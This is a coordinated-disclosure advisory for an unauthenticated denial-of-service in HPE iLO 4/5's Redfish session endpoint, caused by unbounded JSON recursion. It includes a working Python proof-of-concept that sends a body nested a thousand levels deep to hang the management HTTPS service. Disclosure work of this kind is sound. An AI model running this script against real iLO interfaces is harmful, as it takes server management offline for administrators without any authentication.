HPE iLO 4/5 Redfish deeply nested JSON denial-of-service

Executive summary #

HPE's iLO 4/5 Redfish service parses request bodies with an embedded jsoncpp Json::Reader that has no recursion-depth limit. A single unauthenticated POST to the session-creation endpoint with a body nested thousands of levels deep hangs the parser, and the whole HTTPS management service stops responding until the management processor is reset.

This issue is an instance of CWE-674 (Uncontrolled Recursion), has an estimated CVSSv3.1 score of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5, High), and current SSVC vectors of "Exploitation: PoC" and "Technical Impact: Total."

Technical details #

The affected component is the embedded jsoncpp Json::Reader used by the Redfish REST server. The session-creation endpoint POST /redfish/v1/SessionService/Sessions/ parses its JSON body before credentials are checked, so the parser is reachable without authentication. The reader is the legacy 1.8.x-1.9.4 series, which predates the stackLimit recursion guard added in jsoncpp 1.9.5; its value, object, and array readers recurse mutually with no depth bound. A body nesting an array roughly 1000 levels deep or more hangs the parser; a body nested 100 levels deep is parsed and rejected normally.

The following request triggers the condition. It wedges the target's HTTPS service until the management processor is reset.

python3 - <<'EOF'
import http.client, ssl
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
N = 1000
body = '{"UserName":"a","Password":"b","x":' + '['*N + ']'*N + '}'
c = http.client.HTTPSConnection("example.lan", 443, context=ctx, timeout=20)
c.request("POST", "/redfish/v1/SessionService/Sessions/", body=body,
          headers={"Content-Type":"application/json"})
print(c.getresponse().read())   <i># never returns on an affected unit</i>
EOF

A shallow control body returns an error promptly:

HTTP/1.1 400 Bad Request
{"Messages":[{"MessageArgs":["x"],"MessageID":"Base.0.10.PropertyUnknown"}], ... }

After the triggering request, every HTTPS endpoint (/redfish/v1/, /xmldata, /json) stops responding, while IPMI continues to answer. An administrator can recover the management processor through an IPMI cold reset.

Attacker value #

This issue may allow an unauthenticated attacker to take the iLO web management plane offline until the management processor is reset. The only precondition is network reachability of the iLO HTTPS port; no credential, session, or user interaction is required. On firmware 2.30 the request produces no response, and subsequent requests to any HTTPS endpoint fail. The IPMI RMCP+ responder and the rest of the management stack remain reachable during the outage, so an administrator can recover the unit remotely with an IPMI cold reset in about 30 seconds without power-cycling the host. Whether the recursion can be driven beyond a hang to controlled stack corruption has not been assessed; the observed behavior is an availability loss.

Credit #

This issue was discovered by HD Moore with the help of AI tools. Disclosure was coordinated by Tod Beardsley.

Timeline #

• 2026-07-19: Initial findings discovered and documented
• 2026-07-21: CVE-2026-65209 reserved
• 2026-07-24: Vendor notified
• 2026-07-28: Transferred reserved CVE IDs to HPE for record management
• 2026-10-13: Public disclosure